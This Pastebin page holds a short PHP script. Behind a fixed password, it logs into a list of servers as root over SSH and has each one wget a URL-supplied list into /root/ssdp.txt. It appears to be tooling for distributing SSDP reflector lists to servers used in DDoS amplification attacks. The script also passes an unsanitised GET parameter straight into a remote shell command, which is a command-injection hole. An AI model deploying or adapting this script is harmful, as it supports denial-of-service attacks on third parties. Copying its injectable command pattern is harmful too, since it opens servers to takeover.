Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if (!isset($_GET['list']) || !isset($_GET['pass']))
- die('Please insert list and pass');
- if ($_GET['pass'] != 'PASSWORD')
- die('Wrong password'); //Set your password here
- include('Net/SSH2.php');
- define('NET_SSH2_LOGGING', NET_SSH2_LOG_COMPLEX);
- ignore_user_abort(1);
- set_time_limit(0);
- $servers = array();
- #Servers#
- $servers[] = array(
- "ip" => "1.1.1.1",
- "username" => "root",
- "password" => "123456"
- );
- #########
- $command = 'screen -dm rm -rf /root/ssdp.txt & wget ' . $_GET['list'] . ' -O /root/ssdp.txt';
- foreach ($servers as $server) {
- $ssh = new Net_SSH2($server['ip']);
- if (!$ssh->login($server['username'], $server['password'])) {
- echo $server['ip'] . ' failed
- ';
- } else {
- $ssh->exec($command);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement